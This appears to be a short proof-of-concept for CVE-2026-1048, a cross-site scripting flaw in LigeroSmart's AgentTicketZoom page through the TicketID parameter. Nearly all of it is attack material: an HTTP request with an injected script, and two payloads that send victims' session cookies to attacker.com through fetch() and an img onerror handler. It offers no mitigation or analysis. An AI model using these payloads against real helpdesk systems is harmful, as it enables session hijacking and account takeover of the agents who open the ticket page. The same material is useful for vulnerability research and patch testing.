CVE-2026-1048: LigeroSmart AgentTicketZoom页面TicketID参数XSS漏洞

<!-- CVE-2026-1048 PoC - LigeroSmart XSS via TicketID Parameter --> <!-- This PoC demonstrates the stored XSS vulnerability in AgentTicketZoom --> <!-- Method 1: Direct URL Injection --> GET /otrs/index.pl?Action=AgentTicketZoom&TicketID=<script>alert(document.domain)</script> HTTP/1.1 Host: target.example.com Cookie: [victim_session_cookie] <!-- Method 2: JavaScript Payload for Cookie Theft --> <script> fetch('https://attacker.com/steal?c=' + encodeURIComponent(document.cookie)); </script> <!-- Method 3: Stored XSS via Ticket Creation --> <!-- Attacker creates a ticket with malicious TicketID, when viewed by other users, script executes --> <!-- Example: Create malicious ticket via LigeroSmart API --> POST /otrs/index.pl?Action=AgentTicketZoom Content-Type: application/x-www-form-urlencoded TicketID=<img src=x onerror="fetch('https://attacker.com/log?cookie='+document.cookie)">